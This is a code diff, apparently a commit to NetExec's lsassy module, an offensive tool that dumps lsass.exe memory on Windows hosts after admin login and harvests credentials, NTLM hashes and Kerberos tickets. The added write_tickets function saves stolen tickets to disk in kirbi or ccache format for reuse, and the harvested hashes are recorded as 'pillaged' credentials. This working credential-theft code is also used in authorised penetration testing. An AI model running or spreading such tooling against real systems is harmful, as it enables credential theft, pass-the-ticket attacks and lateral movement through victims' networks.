44# https://beta.hackndo.com [FR]
55# https://en.hackndo.com [EN]
66
7+ import os
8+ import sys
79from lsassy .dumper import Dumper
810from lsassy .impacketfile import ImpacketFile
911from lsassy .parser import Parser
1012from lsassy .session import Session
1113
12- from nxc . helpers . bloodhound import add_user_bh
14+ from impacket . krb5 . ccache import CCache
1315
16+ from nxc .helpers .bloodhound import add_user_bh
1417
1518class NXCModule :
1619 name = "lsassy"
@@ -21,13 +24,32 @@ def __init__(self, context=None, module_options=None):
2124 self .context = context
2225 self .module_options = module_options
2326 self .method = None
27+ self .dump_tickets = False
28+ self .save_dir = None
29+ self .ticket_type = "kirbi"
2430
2531 def options (self , context , module_options ):
26- """METHOD Method to use to dump lsass.exe with lsassy"""
2732 self .method = "comsvcs"
2833 if "METHOD" in module_options :
2934 self .method = module_options ["METHOD" ]
3035
36+ if "DUMP_TICKETS" in module_options or "SAVE_DIR" in module_options :
37+ if "DUMP_TICKETS" in module_options and "SAVE_DIR" in module_options :
38+ self .dump_tickets = True
39+ self .save_dir = module_options ["SAVE_DIR" ]
40+ elif "DUMP_TICKETS" in module_options :
41+ context .log .error ("DUMP_TICKETS is set but SAVE_DIR is not specified. Both must be set to enable ticket dumping." )
42+ sys .exit (1 )
43+ else :
44+ context .log .error ("SAVE_DIR is set but DUMP_TICKETS is not specified. Both must be set to enable ticket dumping." )
45+ sys .exit (1 )
46+
47+ if "SAVE_TYPE" in module_options :
48+ self .ticket_type = module_options ["SAVE_TYPE" ]
49+ if self .ticket_type not in ["kirbi" , "ccache" ]:
50+ context .log .error (f"Invalid SAVE_TYPE '{ self .ticket_type } '. Supported types are 'kirbi' and 'ccache'." )
51+ sys .exit (1 )
52+
3153 def on_admin_login (self , context , connection ):
3254 host = connection .host
3355 domain_name = connection .domain
@@ -67,7 +89,6 @@ def on_admin_login(self, context, connection):
6789 context .log .fail ("Unable to parse lsass dump" )
6890 return False
6991 credentials , tickets , masterkeys = parsed
70-
7192 file .close ()
7293 context .log .debug ("Closed dumper file" )
7394 file_path = file .get_file_path ()
@@ -84,6 +105,9 @@ def on_admin_login(self, context, connection):
84105 if credentials is None :
85106 credentials = []
86107
108+ if self .dump_tickets and tickets :
109+ self .write_tickets (context , tickets , host )
110+
87111 for cred in credentials :
88112 c = cred .get_object ()
89113 context .log .debug (f"Cred: { c } " )
@@ -116,6 +140,52 @@ def on_admin_login(self, context, connection):
116140 context .log .debug ("Calling process_credentials" )
117141 self .process_credentials (context , connection , credentials_output )
118142
143+ def write_tickets (self , context , tickets , host ):
144+ if not tickets :
145+ context .log .display ("No Kerberos tickets found" )
146+ return
147+
148+ if not os .path .exists (self .save_dir ):
149+ try :
150+ os .makedirs (self .save_dir )
151+ context .log .debug (f"Created directory: { self .save_dir } for saving tickets" )
152+ except Exception as e :
153+ context .log .fail (f"Error creating directory { self .save_dir } : { e } " )
154+ return
155+
156+ ticket_count = 0
157+ for ticket in tickets :
158+ for filename in ticket .kirbi_data :
159+ try :
160+ base_filename = filename .split (".kirbi" )[0 ]
161+ timestamp = ticket .EndTime .strftime ("%Y%m%d%H%M%S" )
162+ kirbi_data = ticket .kirbi_data [filename ]
163+
164+ if self .ticket_type == "ccache" :
165+ ccache = CCache ()
166+ ccache .fromKRBCRED (kirbi_data .dump ())
167+ ticket_filename = f"{ base_filename } _{ host } _{ timestamp } .ccache"
168+ ticket_content = ccache .getData ()
169+ else :
170+ ticket_filename = f"{ base_filename } _{ host } _{ timestamp } .kirbi"
171+ ticket_content = kirbi_data .dump ()
172+
173+ ticket_path = os .path .join (self .save_dir , ticket_filename )
174+
175+ with open (ticket_path , "wb" ) as f :
176+ f .write (ticket_content )
177+
178+ ticket_count += 1
179+ context .log .debug (f"Saved ticket: { ticket_filename } " )
180+
181+ except Exception as e :
182+ context .log .fail (f"Error writing ticket { filename } : { e } " )
183+
184+ if ticket_count > 0 :
185+ context .log .highlight (f"Saved { ticket_count } Kerberos ticket(s) to { self .save_dir } " )
186+ else :
187+ context .log .display ("No tickets were saved" )
188+
119189 def process_credentials (self , context , connection , credentials ):
120190 if len (credentials ) == 0 :
121191 context .log .display ("No credentials found" )
@@ -162,4 +232,4 @@ def save_credentials(context, connection, domain, username, password, lmhash, nt
162232 else :
163233 credential_type = "hash"
164234 password = ":" .join (h for h in [lmhash , nthash ] if h is not None )
165- context .db .add_credential (credential_type , domain , username , password , pillaged_from = host_id )
235+ context .db .add_credential (credential_type , domain , username , password , pillaged_from = host_id )
0 commit comments